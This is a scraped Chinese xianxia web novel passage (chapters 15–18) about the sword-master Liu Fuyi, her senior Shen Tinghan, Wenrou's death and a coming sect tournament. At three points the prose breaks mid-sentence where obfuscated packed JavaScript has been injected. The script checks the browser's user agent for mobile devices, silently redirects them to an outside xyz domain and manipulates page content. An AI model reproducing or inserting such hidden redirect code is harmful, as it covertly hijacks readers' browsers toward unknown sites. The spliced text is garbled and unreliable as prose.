伏意没有多加解释,从头上取了根最锋利的银簪,刺破了文柔的手指滴了一滴血。转而到林夕照,她便极快地在他掌心划了一道,林夕照见她举剑上来,自觉握拳将血滴在另一面直到蔓延进整个剑身的纹路里。 两路血液渗过天命的金色纹路,像是启动了什么古早大招开关一样,只见血气逐渐被吸收,淡粉色的红线从剑柄一路飙升到剑尖。 几人目光如炬,都盯着那把神剑,不知会如何大显神通。 淡粉红线终于溢满剑尖,一朵血红色的小桃花凭空蹦出来,刀尖起舞转了几圈,紧接着便如玻璃般破碎,片片凋零。 天命得意洋洋:“怎么样?好看吧?这可是我和天道研究了很久的孽缘桃花be动画。” 柳伏意默不作声翻了个白眼。 皓月见要到处理正事儿的关头,忙把林夕照扯了出去。毕竟曾经爱过,现在可能也还爱着,让他亲眼看着柳伏意杀文柔也太残忍了,搞不好给孩子整出一个心魔来,那呆在锁妖塔到底是守妖还是纵魔啊。 顾元香与阮长风一早都在戒律堂等着,询问室这边结束了,皓月带着林夕照跟他们俩汇合。 “云州的事儿终于结束了,接下来宗门应该就清闲很多了。”皓月伸了个懒腰,朝自己名下弟子顾元香眨了眨眼,“宗门小考可是距离不远了哦,你小心又倒数第一~” 顾元香懊恼,掐着指头算了算:“按照往年惯例,不是还有两个月才是宗门小考再宗门大比的吗?今年怎么杀个出其不意啊?” 阮长风想都不用想,叉着腰指了指询问室的方向:“往年的确啊,今年不是出了个天命剑主吗?蝴蝶效应喽,一连串安排都提前了。” “各位师叔师姐,我还要去听掌门训话,先走了。”林夕照低头快步退了出去。 三人各自把安慰的话放在嘴里嚼了嚼,不约而同地选择让他自己静静。 “今年不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小长老,能不能帮帮我啊?” 柳伏意举着剑的手轻微发颤,情绪强烈起伏,心绪不稳故而周身灵气乱窜。一点余力闯进她瞳孔,刺目的痛感逼得她暂时闭眼,甩了甩头。 再睁开眼,又是回归灵魂的一片虚无。面前的黑影垂着头,不如在春芳楼看到的那些面目可憎,她的灵魂沉寂孤苦。纯白的线条绘出面上几行泪痕。因果线纵横交错,有白,有红,没有黑。 天命知道柳伏意心态不稳,出声提醒道:“天道容得下她,你若真想保她,便向林秋池求求情吧。就算不能自由自在,终归平安无虞地度过下半生也好啊。” 伏意观望着面前的切影,上头横亘着很多又深又长的裂缝。 从文柔儿时被抛弃,再到入合欢宗,都已经给她的心造成数道不可弥补的伤害了。 伏意顿觉无力,连带着举剑的动作都变了型。 “天命,凭什么我想留就留,不用听听她的想法吗?” 文柔见她许久没动手,略有动容:“现在的下场,是我罪有应得啊。我仗着九命的灵力,给很多人下了命债。现在终究到了我以命偿债的时候了。” 命债轮回,不过如此吧。 杀人者,终成赎罪被杀之人。 “……好。” 清云峰,凌霄阁。 阮长风与林秋池品茶对弈,师徒二人已有几十年没再经历这样闲适悠然的时光了。 “你竟也愿意回来了,当真是了不得。”林秋池执子相逼,被阮长风不着痕迹地化解。 他抿一口茶,不紧不慢道:“与那人的因果都了结了,自然可以回来。五师妹与我当年很像吧?师父盼我回来,不就是让我盯紧她,别步我的后尘。” 阮长风皮笑肉不笑地在师父面上扫过一眼,“但师父不是比任何人都了解吗?无情道根基虚浮半真半假,任何修炼它的人都不会有好下场。” 他勾唇一笑,晦暗眼眸中波涛汹涌:“那你为何又让这么多师弟师妹,前赴后继,修炼无情道呢?” “你打算,让五师妹什么时候殉道啊?” 15. 拥雪清谈 清虚峰药师堂内,轻烟袅袅,药香雅致。 沈听寒把玩着阮长风送给他的一只木头鹦鹉,将他们的对话听得一清二楚。 林秋池老态龙钟,声音略显混浊:“小五是为师看着长大的,这些年她很乖巧,比你们其他四个加起来都叫我省心。” 林秋池笑了笑,把火药味十足的话题终止,“你只需要看紧她,别让她和你一样落得个万劫不复的下场。” 沈听寒闻言,淡淡抬了抬眉,阮长风可是从来没和他说过自己究竟怎么万劫不复。 近些年修界有不少传言,从前的阮长风一剑断山两剑截江,弱冠之年三剑便可荡天下。提起灵剑派,阮长风的名字就是避无可避的风光。 只是谁也不知道这位曾经的天之骄子究竟经历了什么,弃了本命剑,废了一身神通,变成个乞丐,流浪人间,人人可欺。 他曾经向皓月打听过,皓月三缄其口。只说阮长风的事皆是因为一个人,恩怨情仇半生纠缠,最终死的死残的残,人各有命,无法强求。 无论沈听寒怎么打听,终究是没能探得一星半点。反而屡次接近都被阮长风发觉,不得已给他留了很多灵药,一来二去的倒无意间把他的身体养的牛一样强壮。 “听寒,我可没心思盯着我五师妹,我看你挺有想法的,不如这活你替我做吧。”鹦鹉咋舌,将阮长风欠揍的语调模仿了个七七八八。 沈听寒不动声色,卸了鹦鹉一只鸡翅膀。 “……喂,我明明在给你创造机会,你卸我家鹦鹉翅膀干什么?” “我倒也想问你,掌门几次派人请你回宗门,你都视若无物。怎么偏偏云州这件事儿上了心,不用掌门再请就自己跑回来了?除了掌门,你的居心实在也很让我怀疑呢。” 阮长风大翻白眼,沈听寒这个人就是个十足的师妹控,反正天大地大师妹最大,平时笑脸盈盈的一派温柔公子样儿,一涉及他师妹的事儿,不掀掉你头盖骨都是好的。 他深吸一口气,不得不给自己辩解一番:“臭小子你别不识好人心了。伏意如今的境况有多险你并非不了解。” 宗门大比为何要提前,还不就是修界不满天命剑主生杀予夺尽在一念之间。五洲四海三山十二派,各个都存了私心,偏要来探探这天命剑主的虚实。若是宗门大比不能平安糊弄过去,那柳伏意就是众矢之的,杀合欢宗宗主姜美娘之事就会被无限放大,到时只会逼得灵剑派不得不将伏意逐出山门。 全修真界都觊觎那把剑,剑主死了,天命若真有使命不得不完成,也必得另选新主。 那么最大的可能,谁能抢到那把剑,谁就是下一任的天命剑主。 “我回来便是因为我这些年的确寻到了易道而修不损道心的方法。”他话中收敛起吊儿郎当的个性来,真有几分曾经大师兄儒雅随和运筹帷幄的气度,“无情道修不得,哪怕强如天命剑主,也会被这大道本身拖累的日暮途穷,命若悬丝。” 沈听寒没回应,但阮长风也知道他必定是听进去了。 “伏意很有灵性,她不会不知道无情道有问题,一切只看她的选择。” 沈听寒冷嗤一声,“你当年究竟发生什么事,如今哪怕涉及你这么多个师弟师妹你也不愿意说吗?” “我的私事,无关于旁人的生死。” 阮长风寸步不让,好在两人也都各自有数,没有更加紧逼。 木头鹦鹉倏忽间散架,阮长风不想再谈下去,选择了让鹦鹉自爆。 沈听寒也起身来转了转脖子,他现下应该去找找伏意的。 每个修士自入道起便恪守本心,若非道心稳固,绝不会教她处理人为的祸事。 妖物最忌同类相食,人也是一样。只要一丝一毫的信念不稳,都有可能被心魔趁虚而入。 …… 清净峰的拥雪崖上,青松林立,明月高悬,清凉月光照着孤崖之上女子纤弱玲珑的背影,形影相吊,雨泣云愁。 沈听寒要找到柳伏意几乎不费什么力气,他太知道自己师妹不高兴的时候会躲到哪里去了。 拥雪崖偏僻,人烟稀少,这十多年来自然成了他们两个心照不宣的秘密。 已近三月,拥雪崖上的积雪几乎全化了,微风拂面,雪意葳蕤。洞彻的草木香混着轻微凉薄,闯进鼻息之间。 天地浩渺,万物欲兮。 沈听寒抬步,玉色的长衫划过草地,发出些细碎的声响。越是靠近,她清浅垂泪的样子就越是清晰。 几步之遥,伸手欲触,脚步却顿了。 “天律无亲,惟道是循。” “心如悬鉴,物来悉分。” “情丝尽斩,尘念不存。” “赏罚遵理,贵贱同伦。” “太上忘情,至公为仁。” 她顾不上别的,只忙着哭,缓过气儿来的空隙背几句无情道的戒律,背完就又是哭。 沈听寒顿时有些哭笑不得。 像她这样为文柔的死痛心,还一边哭一边背戒律的,很难影响道心吧? 平日里云淡风轻仙风道骨的,还以为她真的收敛了性子。分明和小时候没两样,遇到解决不了的事,不顺心的事,就喜欢自己躲起来偷偷哭。哭完了就当这件事没发生过,不仅绝口不提,还面色如常教人挑不出一点错来。 他这师妹估计就是因为太会装,才被推着入了无情道的。 “你说不杀就不杀吗?!”伏意挎着脸,呜咽着拔了一把草虚空一甩,恨不得凭空给对面那人几个嘴巴子,“天道能忍又怎么样!这是人间不是天界!按照修界的戒律,又关文柔几十年吗?” 她提到这个名字就难受,霎时间哭腔更浓几分:“呜呜呜我不知道过去的事就算了,她都可怜那么多年了偏偏我救不了她。你都不知道合欢宗底下那个密室有多恐怖呜呜呜呜……” 沈听寒忍着笑意,缓缓往后退了回去。 他何必打扰她静心呢。 “够啦!谁要听你讲大道理啊,我才修炼几年无情道怎么可能真的断情绝欲?!” “你要再叽哩哇啦说些我不爱听的,我就把你插牛粪里去。” ……沈听寒现在知道伏意是在跟谁讲话了。 剑修往往都能用意念跟他们的本命剑沟通,至于剑灵是否存在也是见仁见智。有些剑灵不具智能,也就是器物有灵顺应主人的思想罢了,而有些剑灵可化人身可说人语,不仅能与主人相见,甚至能够在必要时刻化形渡劫,为主人赴汤蹈火,以死换命。 修界有很多人都 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沈听寒抬头看了一眼月亮,伏意这是痛骂灵剑派整整一个时辰啊。她转身就恢复往日里那股月宫仙子饮冰食玉的姿态,霜眉冷目,神韵天成。 二人猝不及防地打了个照面,伏意脸上故作冰冷的表情突然凝固了一下。 “师兄……你在这儿多久了?”伏意内心掀起惊涛骇浪,她如履薄冰造了四年的人设不能功亏一篑吧。 有没有什么办法能直接让沈听寒失忆的?听说猛力打头好像可以。 沈听寒自问是最了解伏意的人之一,她眼睛一转,他就知道她在想什么损招。 “我刚来啊~”沈听寒面不改色,悠悠扇着风,神情疏朗,墨眸微转,“师妹一有烦心事便要来拥雪崖,这点倒与我很像。” 二人并肩漫步,柳伏意自然也不深究沈听寒到底听到与否。 “师兄烦恼什么?”她从前生性跳脱,根本不喊人师兄,也是入了无情道,愣是把自己张扬的性子给改了,见着什么八竿子打不着的同门都能处之泰然地喊几句尊称道号。 “我啊……” 他拖长尾音,缱绻柔情,“我很烦恼,师妹入无情道之后与我很是生分。” “哪有啊,你想多了吧。” 他眉眼微蹙,微微俯身,那张俊美无俦的脸就在伏意面前慢慢放大。 她心下一紧,听得他散漫道:“是哦,伏意要是与我都不算亲近,与旁人就更是陌路了。” 沈听寒总是说话做事都慢悠悠的,勾着调子,好像任何事都不会乱他心神。 “哼,你去练无情道就好了。”她嘟囔一句,沈听寒听见了,却也只是笑笑。 “如果可以给你第二次机会,你还会入无情道吗?” 柳伏意沉默许久,终是微微叹了口气:“我知道我不适合修习无情道,师父说大道通青天,唯有无情道可通天神之境。一切情欲,一切偏向,都是需要摒弃的。” “无情道是掌权者的法则,因而必须绝对的理智,绝对的平衡。”她轻轻一笑,复念起戒律教条来,“太上忘情,至公为仁。教条三千,就突出一个公平公正,挺有意思的不是吗?” 沈听寒的笑容僵了僵:“所以……哪怕重新再选,你也还是会入无情道?” 16. 风动幡动 “不知道啊。”她虚虚握了握右掌,好像能感觉到天命在她手里的温度,“天命选中了我,我得到了很多别人望尘莫及的资源……” “如果我不公平,我有偏向,应该会悄无声息地影响很多人的命运。” 她抬头,玩笑似的,讲出自己的心里话:“六亲缘薄,孤家寡人,可能就是我的宿命吧。” 沈听寒温然一笑,顺着她的目光看向远方。拥雪崖下是距离灵剑派最近的渝州,傍晚时分万家灯火连绵成川,集市上人头攒动,热闹非凡。 渝州城中有一棵硕大的古相思树,每到佳节,三三两两的有情人便会去那棵树下祈福,将写着心上人姓名的红牌扔到树上去。 相思树的花开了,寓意着此时此刻,便是表明心意的好时候。 沈听寒没有转头,温和儒雅,璨然一笑:“怎么会孤家寡人呢~只要师兄还活着,伏意就永远有人陪啊。” 柳伏意看了这么多话本子,当然也是略有长进的。她稍有疑心,便听得沈听寒不紧不慢地补上了一句,“更何况灵剑派有这样多的师兄师姐,师弟师妹,往后伏意还会收自己的徒弟。” 他转身正对着她,相思树的花瓣随风飘过拥雪崖,将好在二人面前掠过。 落英如雨,心若擂鼓。 “你不会孤独的。” 伏意望着师兄一双朗目,张了张口,心慌意乱。 她眼神不安分地到处乱瞟,满脑袋稀奇古怪的想法窜出来又窜出去。此时此刻该说什么回应安慰或是打消人家想法全都想不起来了,满脑子铺天盖地的就只剩下话本里的一句话—— “无情道光风霁月清冷剑修禁欲太久邪念横生走火入魔后缠着她的温柔师兄予取予求毫无节制……” 柳伏意意识到自己在想什么更加紧张急迫,内心咆哮狂吠,思绪就像一泻千里的瀑布刹都刹不住。 冷静冷静冷静…… “天、天律无亲惟道是循心如悬鉴物来……物来……?”她低着头尴尬的恨不得刨个坑把自己埋了。 无情道的道义背了千八百遍了怎么会忘词啊啊啊!! “物来悉分~” 沈听寒提醒她一句,笑的格外大了些,收起折扇来轻轻点了点她的肩,便与她错身分开,回清虚峰去了。 柳伏意仿佛被人抽了精魄,半跪在地上猛锤草地:“完了,全完了……” 沈听寒说那么几句话找补,明显不就是怕她想歪吗?结果她居然还是想歪了,还当着人家的面出了那么大的丑! 她想不通自己脑子里怎么敢放那种全话本界被封禁的画面,是明天不要在灵剑派混了吗? 平日里怎么没事呢? 噢,难怪跑过来讲什么无情道讲什么重来的,合着在这儿等着她呢。 “没事干笑那么花枝乱颤乱我道心是吧?!反正在拥雪崖这种鸟不拉屎的地方没人看见,”伏意爬起身来,恨恨地拍了拍裙子上沾着的草屑和泥土,一步一坑地往清净峰去,像一只被气急了的斗鸡,“敢跟别人说这件事我非宰了他不可!” 转瞬间气势又蔫儿了几分,“但好像也是我自己想歪的……” “算了,明天就当没见过他吧。睡一觉什么都忘了。” 伏意慢悠悠地走回清净峰,饭堂里有近十多个人等着她。除了宗门小考迫在眉睫来求帮忙的顾元香,就是陶二娘和已经醒来的合欢宗姑娘们。 她脸上吊儿郎当的表情在瞅见十几道直勾勾的目光时立刻收紧,本想转弯回自己禅房里静坐,却愣是被顾元香拉进了饭堂。 元香和姑娘们岁数差不多,又酷爱聊些有的没的,没一会儿就跟她们打成了一片。 她拉着柳伏意,别提多自豪了:“这位,就是我们灵剑派清净峰的清律长老,戒律堂就是她主持的。她可是我们灵剑派最~~年轻有为的了!” 顾元香一一给她介绍,到头来柳伏意也只记住了两个活络的,一个叫忍冬,一个叫春喜。 其余的姑娘哪怕是逃脱了合欢宗,对于修士也有种天生的不信任。 柳伏意一眼扫过去,几颗头一个接一个地低下。 她无奈,对陶二娘道:“这些姑娘在清净峰是客人,等身子养好了她们想下山,由你来告诉我,我找弟子送她们出去就是。” 陶二娘点头称是,不耽误顺手塞给柳伏意一个大馒头。 忍冬和春喜伸着头往外看了看,也是思虑再三,才小心翼翼地试探了一句:“清律长老,怜儿姐姐,就是你说的文柔,她在哪呀?她伤的重吗,我们可以见见她吗?” 顾元香是没想到忍冬和春喜会不顾她的劝告,临时起意,非要问文柔的近况。一时也犯了难,只打量着柳伏意的神情。 伏意眉心微动,面上看不出任何不妥,冷若冰霜,湛若清玉。 “她死了。” 饭堂内的热闹顷刻间终止,姑娘们敢怒不敢言,只握紧了筷子坐的更紧凑些。各个低眉顺眼胆小如鼠,一看便知是遇到什么都不会反抗的。 柳伏意轻轻抬了抬眼,对上忍冬和春喜略显不忿的表情:“等你们身子好了,宗门大比也就正式开始了。到时候三山十二派齐聚灵剑派,你可以当众讲明这件事。” 她起身,拉住顾元香的手,淡淡抛下一句:“这些天想了解什么,清净峰各处多走动走动随意打探,到时候可要说的精彩一些。不要让远道而来看热闹的前辈们败兴而归啊。” 顾元香跟着她回到禅房里,仍然鼓着脸不太高兴,坐下就往桌上一撑:“你怎么这么轻而易举地就揭过啦?她们明明得了你的恩惠,还怀疑你!要我说就是白眼狼,根本不值得救!” 她话说出口,又想起文柔说过的遭遇,年纪轻轻的遇到这些阴暗恐怖的事,她们的敏感多疑又是可以理解的。 “烦死了!” 柳伏意倒了杯奶茶给她,“没事的,反正今年宗门大比不就是我的批斗大会吗。多她们不多少她们不少,有个事儿做这帮姑娘们还能活动活动,省的一天到晚丧眉耷眼的,看着很憋屈。” 二人静默片刻,半杯奶茶下肚,开始切入正题。 柳伏意从书架上拿出来一本落灰的教材,她一吹,灰尘差点没迷了眼。看来这半个多月她实在是太懈怠了,不仅身体素质不如从前,连禅房都没有之前那么干净利落。 “皓月也真是的,非得叫我给你开小灶。这本《东方剑术基础概论》我已经很久没看过了,况且……” 她顿了顿,顾元香自己就把话接下去了。 “况且我在云州对横山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027687|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊者破口大骂毫无情面,我的分数上他绝对也会给我点颜色看看。” 柳伏意没反驳,顾元香“啊”地一声欲哭无泪趴在桌上,感觉自己像砧板上的鱼,生死已定,就只等人家是一刀剁头去烧剁椒鳊鱼还是慢慢剔骨做个什么东洋刺身。 翻开第一页,绪论。 往下看去,“第一章,剑术的概念。” 顾元香:“?” 伏意念道:“好好听,这段是重点。第一节,剑术的定义,东方剑术乃是以单锋或双锋开刃之直行或微曲长条状金属法器,俗称剑,以此为载体,通过修士灵台识海之意念,结合特定灵力运转回路与精微肉身动作范式,实现灵力外放、轨迹控制、能量聚焦及高效目标交互的一门系统性、仪式化、高度依赖天赋与后天苦修的战斗技艺。” 顾元香托腮,沉着眸子听她念完第一个知识点,发自内心地哀叹了一声:“剑术两个字,不浅显吗?不易懂吗?用得着用这么长一段这么专业化的术语扩展吗?故意增加挂科率多收我几年学费是不是啊!” 看她这个头铁到底的做派,柳伏意就知道她根本没复习,所谓的皓月叫她来开小灶也是假公济私。 “得了,我明白了,的确有个办法可以让你免考文化课。”柳伏意“砰”地合上那本半掌厚的教科书,从书架上翻箱倒柜,抽出来一张积了色的信纸。 信纸的抬头写着四个字,宗门大比奖惩规则。柳伏意扫了一眼,指着一行字,顾元香定睛去看,逐字精细地念出来—— “宗门大比优胜奖,可免考或补足文化课分数,当年有效,三山公认。” 柳伏意耸了耸肩,按住兴高采烈的顾元香,给她泼了一盆冷水:“你别高兴太早,我还是给你讲解一下宗门大比吧。简单来说就是十二派聚集到一处,年轻有为的弟子互相比拼,今年正好轮到灵剑派主办。比试的方式有很多,文试武试幻境等等,一共十道关卡,大部分修为一般的人会在前五道被卡下去,剩下五道就实在是各门各派的天之骄子各显神通。每年的五道关卡都是由当年主办方的长老们负责出题的,长老有好有坏,狠起来一个能到终点的都没有。优胜奖的话……你至少要撑到第六关。” 顾元香掰手指数了数,“灵剑派一共有五峰,清云峰是掌门所在,清缈峰横山长老,清虚峰衡阳长老,清月峰观月长老,清净峰清律长老……那不就是你们五个人出题吗?” 她略显忸怩,拽了拽柳伏意的袖子:“伏意姐~好师姐~你也不能见死不救对不对?只要你告诉我你考什么,我一定能过六关的。” 柳伏意点点头:“说的不错,可我负责最后一关。” …… “算了,我跟你们这种龙傲天说不清楚。”但是话又说回来了,龙傲天就算走天才流,也总有一点忠告可以听吧。 顾元香笑呵呵地,眉眼弯弯,讨好地给柳伏意捶了捶腿。 “我目前能给你的建议,就是赶快去养剑。剑修不了解自己的剑是十分致命的弱点,你可以看《论剑修与剑的一百种关系》那本教科书……” 顾元香连忙伸手制止她继续说下去,学院派的玩意儿她一点兴趣都没有。 “我知道啦,贪生怕死剑,听起来就是个无敌苟王,一定能带我到第六关!” 17. 师弟玄易 剑修养剑,方式千差万别。 柳伏意的方法呢简单直接,就是把天命剑挂在墙上听她背书。只要她心静,道心清明,天命自然容光焕发。但这办法不仅费时间还费头发,一般人轻易学不得。 顾元香顶着两个大大的黑眼圈,又在《本命剑灵伴侣化培养指南》上翻过一页,念念叨叨的,活人气灭了一半:“果然伏意姐养剑的方法我这种凡夫俗子模仿不来……才背了两个时辰的经,已经掉了几百根头发了。” 她长吁短叹,目光缓缓落在新的一页上:“给剑泡温泉,有利于剑灵舒缓身心,敞开心扉,更早接洽剑主。” 温泉好啊,你泡我也能泡,这个轻松,就选这个。 顾元香捧着两把剑,用脚顶开禅房的门,鬼鬼祟祟地往清月峰的澡堂子里去了。 说起来,女弟子的澡堂都用的是浴桶,毕竟人人独立,干净卫生。男弟子的才是一个笼统的大浴池,他们不大讲究,能给个池子就满足,虽说那水不知道烫不烫,到底是长的最接近“温泉”的一处了。 剑灵总不见得还嫌贫爱富吧? 顾元香站在男女澡堂的分岔口,心一横,仿照印象里阮长风的脸易了个容,便抬头挺胸地走进了男澡堂。 此时天色已经有些晚了,除了氤氲蒸汽,看不见池子里还有什么人。 那正好!元香心下一喜,脱了鞋挽了裤腿儿坐在浴池边上,随手就把贪生和怕死丢了进去。 两把剑咕嘟嘟沉了底,她从怀里掏出做的笔记,小声念叨起来:“剑灵比人体更耐高温,如果剑灵和主人一起泡,剑需要多泡一个时辰……” 顾元香往后躺倒在浴池边的草地上,百无聊赖,她的脚扑腾扑腾,溅起不低的水花。 浴池中剑光隐隐,她赏着夜景分外悠闲。 月色渐移,水光氤氲,元香的意识慢慢模糊,将要入梦神游。浴池中水声依稀,慢慢靠近,仿佛近在咫尺…… “谁谁谁谁抓我脚啊!!”元香猛然一个仰卧起坐,与一眸中暗藏邪光的光头鼻尖对鼻尖。 那人眉头一皱,手上用力猛然将她扯进水里,紧接着另外一手抬起,两把剑交叠压在她脖子上。 剑未出鞘,却要生生靠力道将她压的喘不上来气。 “要死要死,难道要死在自己剑下了吗?那也太窝囊了一点吧!”顾元香心下一紧,易容术不保,对面的光头也就眯了眯眼,往后退了一步。 他在浴池中披着一件玄色金线的袈裟,眼眸深邃,方才那么一点点的邪光顷刻间便再也难寻了。 顾元香乍然得以呼吸,大口大口地喘着粗气,抱着自己的两把剑瑟缩在池边,心惊胆战地回过脸去:“我什么都没看见,我也不是故意打扰你沐浴的雅兴,青天大老爷放我一马吧!” 对面噗嗤一声笑出来,愠怒与嗜血之色全都消融,好像刚刚那个暴起伤人的不是他一样。 “原来是元香师姐啊?在下玄易,昨天才刚到灵剑派,以后我便是清律长老门下弟子。看见有人鬼鬼祟祟假装大师兄,还以为有什么贼心呢。冒犯师姐,还请海涵。” 顾元香忙点头,从浴池中左脚蹬右脚先爬了上来。她哪敢跟他硬碰硬? 玄易这人古怪的很,听说他小时候也是万中无一的天赋异禀,可偏偏修了剑道后又一心向佛,剃了光头行事做派都像个彻头彻尾的和尚,谁劝他也不成。灵剑派又不开设什么西天取经的课程,他怎么就愿意来灵剑派交换呢? “等等,小长老不是不收徒吗?为什么你可以直接记在她名下?” 玄易笑笑,“我走后门了呀,掌门特许,伏意师姐不教我任何东西,记在她名下只不过是方便我跟着她。” 他扫过贪生怕死剑,无奈摇头苦笑一番,垂首行了个佛礼:“元香师姐直接用血祭剑就可以唤醒剑灵了。看起来,他们似乎有很多话想跟你说。” 顾元香顾不得自己如今怎么狼狈,她的前途可就系在这两把剑上了。毫不犹豫将两把剑都拔出来,于掌心割开一道口子,唤醒两把剑的剑灵。 血液滴入剑身时灵光大闪,逼人不得直视,她再睁眼,一男一女艳丽无双,叫什么贪生怕死,倒不如一个叫倾国一个叫倾城,长的比魅魔还要漂亮。 怕死是姑娘,扭着腰肢靠近她,捧起她的手柔情款款,张嘴却是男人的声音:“老娘好心看上了你,寻思着你这丫头鬼灵精,一定待人不错。你倒叫我喝洗澡水!!” 贪生粗犷挺拔,面如刀刻,一步响动仿佛能撼山动海,如此猛士,讲话又是女音。 顾元香瞪着大眼睛,连忙道歉,另一只手又被贪生抓起来死死不松开:“早知你如此懒怠,连剑修新手入门教程都不肯过,我才不跟着你!” 玄易在后头若有所思地点了点头:“是啊元香师姐,每把剑都有他独特的养剑方式,他们选择你做主人,你必须了解他们,中和你的个性,创造出独属于你的培养方式才可以。” 顾元香两手都被拎着,没办法合十抱歉,只能连连点头:“我知道了我知道了,我这就把那本烂书丢了,回去好好养你们……” 得了她的承诺,贪生和怕死才回剑中去。 顾元香将两把剑拿起来,还未插回剑鞘里,两把剑同时朝她的脸喷出浴池洗澡水,又把她淋了个彻底。 “……小气。” 玄易在她走后,湿身上了岸。他掌中灵力环绕周身,一身湿衣很快变干。 他坐在一旁石头上,慢慢穿着鞋。环顾四周的陈设,竹影青篁,曲靖通幽,忽而轻笑一声。 “十九岁的天命剑主,能有多厉害啊。” 清云峰。 此处居于灵剑派五峰之间,由四峰包围着,杳霭流玉,白云浩渺,古朴又木讷。 伏意得了消息,顺着白石铺就的小路,往烁金堂而去。 众口铄金,积毁销骨,就是这“灵剑派公关部”提名的由来。 林秋池的内门亲传弟子只有五个。老大阮长风,此人不必多说,已经脱离师门加入了“丐帮”,老二张风华,也是个风风火火闯九州的性子,索性叫他负责灵剑派与其余十二派的日常交际。老三凌浅越,五人中唯二的姑娘家,嘴皮子利落脑筋也灵活,接管了清云峰的烁金堂。由她把持着,灵剑派这些年有口皆碑。老四庆钰,大大咧咧还是个酒鬼,管控整个灵剑派的协防,那封山大阵的口子就是他偷摸着给伏意开的。 这四个平时神龙见首不见尾,凑在一起倒是稀奇。 烁金堂点着熏人的薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027688|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷烟,门口一堆的灵芝兰草都被泡的入了味儿,叶子都蔫儿下来。 凌浅越淡粉色的灵力幽微平稳,偌大长桌上安然陈列的四十余只毛笔齐刷刷地起身行动,宣纸流水一般从毛笔笔腹下划过。 “庆钰!你眼瞎吗这海报都飞你脚底下去了不知道捡捡?”凌浅越高呼一声,一张宣纸骤然硬如刀刃,直直地往庆钰脸上飞过去。 酒鬼顶着一头乌糟乱发,气定神闲地歪了歪头,在木椅上慢悠悠地流下来。那张宣纸便越过他,扎在柳伏意身旁的门框上。 “……”她侧目看了一眼,指尖用力将宣纸给拔了出来。 张风华早就习惯浅越和庆钰见面就掐,见着伏意来了才出声当和事佬:“好啦,不要当着小师妹的面儿互殴,要打私下里再打啦。” 凌浅越狠狠剜庆钰一眼,转头看见伏意又换了一张好颜色:“伏意,师兄师姐叫你来便是商量过两天宗门大比的事情。合欢宗那件事你有什么想法?” 几人试图从伏意脸上找出那么一丁点儿的阴郁或不甘,毕竟是出手办了好事,反倒被十二派骂的狗血淋头猪狗不如,任谁心里都要不得劲的。就等她不高兴,他们这儿已经备好了数种解决措施,有怀柔版自然也有狂暴版。 毫无疑问,所有人都选择了狂暴版。 招惹了灵剑派,抹黑了灵剑派的门面,总要付出点代价。 伏意有些唏嘘,道:“都在意料之中吧。天命剑出世本就引得修界震荡,起初的半个月我道心不稳闭关修正,不大惹眼,十二派也寻不到由头发难。云州一事倒是我心急,给了他们契机,是伏意不好,连累师兄师姐了。” 她起身规规矩矩地行了个礼,惹得庆钰哈哈大笑:“哎哟,装啥呢,我管灵剑派的协防啊,你这半个月干的啥事儿师兄不知道?” 烁金堂今日只有他们五人也是这个缘故,全宗门上下最有本事修炼无情道的都在这儿了,对于彼此的德行一清二楚。乞丐、交际花、暴力狂、酒鬼,还有一个目前黑红半边天的伶人。 阮长风刚理好手头的画,垒成一摞放到浅越面前,顺带安慰她一句:“如你所说不算连累,命数如此。” 既然笑过了,庆钰坐正了身子,随手一丢把酒瓶子甩给了脾气好的张风华。他板下脸来浑身上下威严庄肃,一时之间连浅越都忘记和他呛声。 庆钰从怀里掏出此次宗门大比的舆图来,上头零零散散地标记了几处方位:“合欢宗姜美娘与十二派中的锦绣坊、妙音阁、不夜天、两昆仑的掌门关系匪浅,目前修界那些不堪入耳的传言也大多是从这些人手底下散出来的。” 张风华咂了咂嘴,“哎,这些人明面上各个都上赶着给我送礼要与我灵剑派结百年好合呢~” 他定睛看了一眼舆图上的位置,眼中的不悦很快消散,朝伏意勾了勾唇:“没事,不用担心,你庆钰师兄出马,有他们受的。” 阮长风凑过来,“噢”了一声:“的确,庆钰这回出手够狠啊。” 凌浅越揽着伏意的肩将她按下,早不如先前那般暴戾,声线清冷,凝眸碎玉:“伏意,今日叫你来便是嘱咐一句,一定守好最后一关,今年不允许有通关者。” “必要的话,你可以开杀戒。”庆钰淡淡道。 18. 古法养剑 庆钰这样讲,其余三人都不置一词不加辩驳,伏意便知此次宗门大比非同寻常了。 修界共有三山十二派,每一派主办宗门大比不过一年,一次轮回便是十二年。主办者总要给出一个各家满意的魁首之礼,从许多年前开始,宗门大比的魁首就不只是单靠自己一人之力奋勇争先,而是整个宗门的托举。灵药、神器、灵兽……天之骄子们是其门派的缩影,最终得胜者自然也能够带着其背后的宗门一路高升,宗门名誉水涨船高。 多年下来,宗门大比已经不是从前那般只为切磋比试。这魁首之礼甚至关乎一个门派当年的立场与元气。通常是多数胜少数,因而哪怕是主办者极其不愿意,只要有多数人支持,也不得不应承下来。 伏意略微蹙了蹙眉,她虽作为最后一关的守关人,却并没有人告诉她今年魁首的嘉礼是什么。 